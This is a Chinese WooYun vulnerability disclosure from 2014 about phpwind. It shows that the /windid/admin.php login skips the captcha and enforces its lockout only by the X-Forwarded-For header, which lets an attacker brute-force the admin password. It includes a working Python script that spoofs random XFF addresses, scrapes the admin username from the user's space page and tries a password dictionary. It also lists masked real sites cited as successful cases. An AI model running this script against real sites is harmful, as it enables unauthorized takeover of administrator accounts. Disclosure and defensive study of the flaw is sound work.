当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080327

漏洞标题:phpwind后台帐号密码可爆破无视验证码 (有案例)

相关厂商:phpwind

漏洞作者: JJ Fly

提交时间:2014-10-22 08:11

修复时间:2015-01-20 08:12

公开时间:2015-01-20 08:12

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-22: 细节已通知厂商并且等待厂商处理中
2014-10-22: 厂商已经确认,细节仅向厂商公开
2014-10-25: 细节向第三方安全合作伙伴开放
2014-12-16: 细节向核心白帽子及相关领域专家公开
2014-12-26: 细节向普通白帽子公开
2015-01-05: 细节向实习白帽子公开
2015-01-20: 细节向公众公开

简要描述:

没看源码,直接黑盒测试的。非验证码识别。
老规矩 附上利用代码+几个成功案例。

详细说明:

我们先来看下官网
http://www.phpwind.net/admin.php

图片1.png


有验证码
然后我们在来看下
http://www.phpwind.net/windid/admin.php

图片2.png


验证码不见了。
然后我虚拟机搭建了一下phpwind(开启验证码,默认是不开启的、)

图片3.png


图片4.png


http://192.168.1.117/windid/admin.php
同样没有验证码
随后在这个网址登录 帐号密码。
登录成功之后,打开http://192.168.1.117/admin.php
也是登录状态。
但是正常爆破的话,8次就提示错误了。

图片5.png


但是测试发现是经过 X-Forwarded-For 进行判断来源ip的
这样就可以修改xff进行爆破了。
想要爆破密码,必须要知道他的帐号,
这个获取管理员帐号的方式很多,下面我们说一个简单的方法。
我们可以在个人空间处获取。(如果删除这个id之后,这种方法就不行了。)
http://192.168.1.117/index.php?m=space&uid=1

图片6.png

漏洞证明:

爆破程序代码如下
<poc>

#coding:utf-8
import httplib,re,random,urllib,time
from sys import argv
# 进行爆破
def getHtml(host,username,password):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
postHead={
"Host":host,
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0",
"X-Forwarded-For":ip,
'Content-Type':'application/x-www-form-urlencoded',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
'Cookie':'csrf_token=wooyun'
}
postContent='username='+username+'&password='+password+'&submit=&csrf_token=wooyun'
resultHtml=httplib.HTTPConnection(host, 80, False)
resultHtml.request('POST','/windid/admin.php?a=login',body=postContent,headers = postHead )
page=resultHtml.getresponse()
pageConect=page.read()
return pageConect
#获取 formhash 和 seccodehidden
def getusername(host):
url='http://'+host+'/index.php?m=space&uid=1'
pageContent=urllib.urlopen(url).read()
r1=re.compile('">(\S{1,30})的个人空间</a>')
username=r1.findall(pageContent)[0]
return username
#通过argv获取 host 字典 间隔时间 进行爆破
if(len(argv)==1):
print '---->python '+argv[0]+' host地址 字典文件 间隔时间'
print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2'
else:
host=argv[1]
passfile=argv[2]
sleeptime=argv[3]
print '网站host为 '+host
print '密码字典为 '+passfile
print '间隔时间为 '+sleeptime
print '--->'
username=getusername(host)
f=open(passfile,'r')
htmlpass=f.read().split('\r\n')
f.close()
userpass=[username+'123',username+'888',username+username,username+'..',username+'.',username+'admin888',username+'admin123',username+'admin',username+'123456']
htmlpass=userpass+htmlpass
for i in range(len(htmlpass)):
time.sleep(float(sleeptime))
print '正在尝试密码'+htmlpass[i]
if(getHtml(host,username,htmlpass[i])==''):
print '帐号为 '+username
print '密码为 '+htmlpass[i]
break

</poc>
演示

图片7.png


图片14.png


下面说几个案例

mask 区域
***** admin  *****
***** admin *****
*****cn adm*****
*****n.com ad*****
***** admin *****


图片9.png


图片10.png


图片11.png


图片12.png


图片13.png


修复方案:

你们更专业

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-10-22 10:59

厂商回复:

感谢您对我们的支持与关注,该问题我们正在修复

最新状态:

暂无